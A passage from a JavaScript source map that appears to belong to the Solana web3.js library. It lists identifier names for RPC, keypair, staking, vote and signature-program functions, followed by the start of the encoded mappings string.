ys","rawConfig","getMultipleAccountsInfoAndContext","getMultipleAccountsInfo","getStakeActivation","getProgramAccounts","configOrCommitment","configWithoutEncoding","baseSchema","withContext","getParsedProgramAccounts","strategy","rawSignature","aborted","reason","decodedSignature","confirmTransactionUsingLegacyTimeoutStrategy","confirmTransactionUsingBlockHeightExceedanceStrategy","confirmTransactionUsingDurableNonceStrategy","getCancellationPromise","signal","addEventListener","getTransactionConfirmationPromise","signatureSubscriptionId","disposeSignatureSubscriptionStateChangeObserver","done","confirmationPromise","onSignature","__type","PROCESSED","subscriptionSetupPromise","resolveSubscriptionSetup","_onSubscriptionStateChange","nextState","getSignatureStatus","abortConfirmation","removeSignatureListener","expiryPromise","checkBlockHeight","_e","currentBlockHeight","BLOCKHEIGHT_EXCEEDED","cancellationPromise","outcome","race","currentNonceValue","lastCheckedSlot","getCurrentNonceValue","getNonceAndContext","NONCE_INVALID","slotInWhichNonceDidAdvance","signatureStatus","commitmentForStatus","timeoutId","timeoutMs","TIMED_OUT","clearTimeout","getClusterNodes","getVoteAccounts","getSlotLeader","getSlotLeaders","startSlot","limit","getSignatureStatuses","getTransactionCount","getTotalSupply","excludeNonCirculatingAccountsList","getInflationGovernor","getInflationReward","getInflationRate","getEpochInfo","getEpochSchedule","epochSchedule","getLeaderSchedule","getRecentBlockhashAndContext","getRecentPerformanceSamples","getFeeCalculatorForBlockhash","wireMessage","getRecentPrioritizationFees","lockedWritableAccounts","getRecentBlockhash","getLatestBlockhash","getLatestBlockhashAndContext","isBlockhashValid","getVersion","getGenesisHash","getBlock","_buildArgsAtLeastConfirmed","transactionDetails","getParsedBlock","getBlockProduction","extra","c","getParsedTransaction","getParsedTransactions","getTransactions","getConfirmedBlock","block","getBlocks","endSlot","getBlockSignatures","getConfirmedBlockSignatures","getConfirmedTransaction","getParsedConfirmedTransaction","getParsedConfirmedTransactions","getConfirmedSignaturesForAddress","firstAvailableBlock","until","highestConfirmedRoot","before","confirmedSignatureInfo","getConfirmedSignaturesForAddress2","getSignaturesForAddress","getAddressLookupTable","accountInfo","getNonce","requestAirdrop","to","_blockhashWithExpiryBlockHeight","disableCache","timeSinceFetch","Date","now","expired","_pollNewBlockhash","startTime","cachedLatestBlockhash","cachedBlockhash","getStakeMinimumDelegation","simulateTransaction","transactionOrMessage","configOrSigners","includeAccounts","versionedTx","encodedTransaction","originalTx","sigVerify","traceIndent","logTrace","signersOrOptions","sendRawTransaction","rawTransaction","sendEncodedTransaction","setInterval","_updateSubscriptions","Number","MAX_SAFE_INTEGER","clearInterval","hash","_setSubscription","nextSubscription","prevState","stateChangeCallbacks","cb","clientSubscriptionId","close","log","connect","activeWebSocketGeneration","isCurrentConnectionStillActive","callbacks","serverSubscriptionId","unsubscribeMethod","_handleServerNotification","callbackArgs","notification","_makeSubscription","subscriptionConfig","existingSubscription","onAccountChange","removeAccountChangeListener","_unsubscribeClientSubscription","accountId","onProgramAccountChange","maybeFilters","removeProgramAccountChangeListener","onLogs","mentions","removeOnLogsListener","onSlotChange","removeSlotChangeListener","onSlotUpdate","removeSlotUpdateListener","subscriptionName","dispose","override","_err","onSignatureWithOptions","onRootChange","removeRootChangeListener","Keypair","keypair","_keypair","generate","fromSecretKey","skipValidation","computedPublicKey","ii","fromSeed","LOOKUP_TABLE_INSTRUCTION_LAYOUTS","CreateLookupTable","bigintLayout","FreezeLookupTable","ExtendLookupTable","DeactivateLookupTable","CloseLookupTable","AddressLookupTableInstruction","layoutType","decodeCreateLookupTable","checkKeysLength","recentSlot","decodeExtendLookupTable","decodeCloseLookupTable","recipient","decodeFreezeLookupTable","decodeDeactivateLookupTable","AddressLookupTableProgram","createLookupTable","lookupTableAddress","bumpSeed","freezeLookupTable","extendLookupTable","addr","deactivateLookupTable","closeLookupTable","ComputeBudgetInstruction","COMPUTE_BUDGET_INSTRUCTION_LAYOUTS","decodeRequestUnits","units","additionalFee","RequestUnits","decodeRequestHeapFrame","RequestHeapFrame","decodeSetComputeUnitLimit","SetComputeUnitLimit","decodeSetComputeUnitPrice","microLamports","SetComputeUnitPrice","ComputeBudgetProgram","requestUnits","requestHeapFrame","setComputeUnitLimit","setComputeUnitPrice","PRIVATE_KEY_BYTES","PUBLIC_KEY_BYTES","SIGNATURE_BYTES","ED25519_INSTRUCTION_LAYOUT","u16","Ed25519Program","createInstructionWithPublicKey","instructionIndex","publicKeyOffset","signatureOffset","messageDataOffset","numSignatures","padding","signatureInstructionIndex","publicKeyInstructionIndex","messageDataSize","messageInstructionIndex","createInstructionWithPrivateKey","privateKey","ecdsaSign","msgHash","privKey","secp256k1","toCompactRawBytes","recovery","isValidPrivateKey","publicKeyCreate","ETHEREUM_ADDRESS_BYTES","SIGNATURE_OFFSETS_SERIALIZED_SIZE","SECP256K1_INSTRUCTION_LAYOUT","Secp256k1Program","publicKeyToEthAddress","keccak_256","recoveryId","createInstructionWithEthAddress","ethAddress","rawAddress","substr","dataStart","ethAddressOffset","ethAddressInstructionIndex","pkey","messageHash","STAKE_CONFIG_ID","Authorized","staker","withdrawer","Lockup","unixTimestamp","custodian","_Lockup","StakeInstruction","STAKE_INSTRUCTION_LAYOUTS","decodeInitialize","Initialize","stakePubkey","decodeDelegate","Delegate","decodeAuthorize","newAuthorized","stakeAuthorizationType","Authorize","o","custodianPubkey","decodeAuthorizeWithSeed","authoritySeed","authorityOwner","AuthorizeWithSeed","authorityBase","decodeSplit","Split","splitStakePubkey","decodeMerge","Merge","sourceStakePubKey","decodeWithdraw","Withdraw","decodeDeactivate","Deactivate","StakeProgram","StakeAuthorizationLayout","Staker","Withdrawer","initialize","maybeLockup","delegate","authorize","authorizeWithSeed","splitInstruction","split","rentExemptReserve","splitWithSeed","merge","withdraw","deactivate","VoteInit","authorizedVoter","authorizedWithdrawer","VoteInstruction","VOTE_INSTRUCTION_LAYOUTS","decodeInitializeAccount","InitializeAccount","voteAuthorizationType","currentAuthorityDerivedKeyOwnerPubkey","currentAuthorityDerivedKeySeed","currentAuthorityDerivedKeyBasePubkey","authorizedWithdrawerPubkey","VoteProgram","UpdateValidatorIdentity","VoteAuthorizationLayout","Voter","initializeAccount","safeWithdraw","currentVoteAccountBalance","rentExemptMinimum","updateValidatorIdentity","VALIDATOR_INFO_KEY","InfoString","website","details","iconUrl","keybaseUsername","ValidatorInfo","fromConfigData","configKeyCount","configKeys","rawInfo","parse","assertType","VOTE_PROGRAM_ID","VoteAccountLayout","VoteAccount","votes","authorizedVoters","priorVoters","lastTimestamp","versionOffset","va","rootSlotValid","parseAuthorizedVoter","getPriorVoters","parsePriorVoters","epochOfLastAuthorizedSwitch","targetEpoch","idx","isEmpty","http","devnet","testnet","https","clusterApiUrl","cluster","tls","sendAndConfirmRawTransaction","confirmationStrategyOrConfirmOptions","maybeConfirmOptions","confirmationStrategy","LAMPORTS_PER_SOL"],"mappings":"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